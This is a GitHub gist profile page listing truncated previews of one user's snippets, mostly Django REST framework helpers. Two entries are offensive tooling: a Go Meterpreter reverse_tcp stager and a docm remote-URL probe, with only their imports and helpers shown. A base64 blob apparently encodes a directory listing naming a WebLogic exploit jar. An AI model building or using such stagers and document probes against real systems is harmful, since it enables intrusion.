Skip to content

Instantly share code, notes, and snippets.

View akkuman's full-sized avatar
💭
I may be slow to respond.

akkuman

💭
I may be slow to respond.
View GitHub Profile
@akkuman
akkuman / execute_command.c
Created June 15, 2020 05:18
c语言执行命令获得返回
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int exec_command(char* command, char* out);
int main( int argc, char *argv[] ) {
char *tmp_buf = malloc(1025);
char result[4097] = { 0 };
strcpy(tmp_buf, argv[1]);
@akkuman
akkuman / windows.meterpreter.reverse_tcp.stagers.go
Created July 1, 2020 01:59
golang编写的windows/meterpreter/reverse_tcp stagers
package main
import (
"encoding/binary"
"errors"
"io"
"net"
"reflect"
"strings"
"syscall"
@akkuman
akkuman / serializer_jsonfield.py
Last active March 3, 2021 08:58
drf框架里面的json字符串field改版,主要是针对model字段为text
import json
from rest_framework.fields import Field
from django.utils.translation import gettext_lazy as _
class MyJSONField(Field):
default_error_messages = {
'invalid': _('Value must be valid JSON.')
}
@akkuman
akkuman / serializer_bigintfield.py
Last active October 16, 2020 02:07
drf框架里面的针对bigint字段的序列化字段,主要原因是前端js对于bigint类型字段会有精度缺失
import copy
from rest_framework import serializers
from django.db import models
from rest_framework.fields import IntegerField
class BigIntegerField(IntegerField):
def to_representation(self, value):
return str(value)
@akkuman
akkuman / drf.get_permissions.py
Created October 29, 2020 02:22
drf中根据不同的action分发不同的权限
class WhiteListViewSet(ModelViewSet):
queryset = WhiteList.objects.all()
serializer_class = WhiteListSerializer
permission_classes = [IsAdminUser]
pagination_class = None
def get_permissions(self):
"""
根据不同的action获取不同的权限校验中间件
"""
@akkuman
akkuman / tree_table_serializer_model.py
Created November 5, 2020 02:30
树状表适用的model serializer(不检查外键存在与否,不存在的外键自动置为0)
class PrimaryKeyRelatedField(serializers.PrimaryKeyRelatedField):
"""主要是为了避免当外键为0这种情况的发生,比如树状表"""
def to_internal_value(self, data):
if self.pk_field is not None:
data = self.pk_field.to_internal_value(data)
try:
return self.get_queryset().get(pk=data)
except ObjectDoesNotExist:
return self.get_queryset().model(pk=0)
except (TypeError, ValueError):
@akkuman
akkuman / channels2.x_get_user_from_token.py
Created November 5, 2020 08:26
channels 2.x验证中间件(从url参数中获取token进行验证)
# websocket middleware
from channels.middleware import BaseMiddleware
from channels.auth import UserLazyObject
from django.conf import settings
from importlib import import_module
from channels.auth import get_user
from urllib.parse import parse_qs
@akkuman
akkuman / docpatch.py
Created November 20, 2020 07:26
docm远程加载url探针
import os
import uuid
import shutil
import zipfile
import lxml.etree
def inplace_change(filename, old_string, new_string):
"""打开文件替换字符串"""
s = ''
with open(filename) as f:
@akkuman
akkuman / chardet.js
Last active November 20, 2020 10:40
js猜测编码转换
var jschardet = require("jschardet")
var iconv = require('iconv-lite')
var data = Buffer.from('ODAwICB1c2VybGlzdC50eHQKMTAwNjY2L3J3LXJ3LXJ3LSAgNjIwICAgICAgICAgZmlsICAgMjAyMC0wNi0xMiAxMzo1MDoxNiArMDgwMCAgd2FpdC5odG1sCjEwMDY2Ni9ydy1ydy1ydy0gIDUyNDI5NTEyICAgIGZpbCAgIDIwMjAtMDYtMTYgMDk6NTc6MjkgKzA4MDAgIHdlYl9zdGRlcnIubG9nLjkKMTAwNjY2L3J3LXJ3LXJ3LSAgODcxNzUzMDQgICAgZmlsICAgMjAyMC0xMC0yMCAxNzowNzoyMSArMDgwMCAgd2VibG9naWNfZXhwbG9pdC0xLjAtU05BUFNIT1QtYWxsLmphcgoxMDA3Nzcvcnd4cnd4cnd4ICAxNDEzMTIgICAgICBmaWwgICAyMDIwLTA0LTMwIDEwOjUxOjA2ICswODAwICB4eW50ZXN0KDEpLmV4ZQoxMDA3Nzcvcnd4cnd4cnd4ICAxNDEzMTIgICAgICBmaWwgICAyMDIwLTA0LTMwIDEwOjQxOjIzICswODAwICB4eW50ZXN0LmV4ZQoxMDA2NjYvcnctcnctcnctICA5NTUwICAgICAgICBmaWwgICAyMDIwLTA0LTI5IDE3OjU0OjQ5ICswODAwICB6aGFuZ3pob3UuZ292LmNuLmRucwoxMDA2NjYvcnctcnctcnctICAxMDQzODEgICAgICBmaWwgICAyMDIwLTA2LTAzIDA5OjI5OjMxICswODAwICDjgJDlronlhajlt6XnqIvluIggXyDmna3lt54yMDAtMjUwX+WkqeOAkemZiOWiqOeEtiDkuIDlubTku6XlhoUuZG9jeAoxMDA2NjYvcnctcnctcnctICAxMTI2OTQ2ICAgICBmaWwgICAyMDIwLTExLTA2IDA5OjU1OjU4
@akkuman
akkuman / gist:7634bfce540eccc5b297a41540ee8683
Created November 23, 2020 16:45
nim smallest executable size
nim c -d:danger --opt:size --passc=-flto --passl:-s main.nim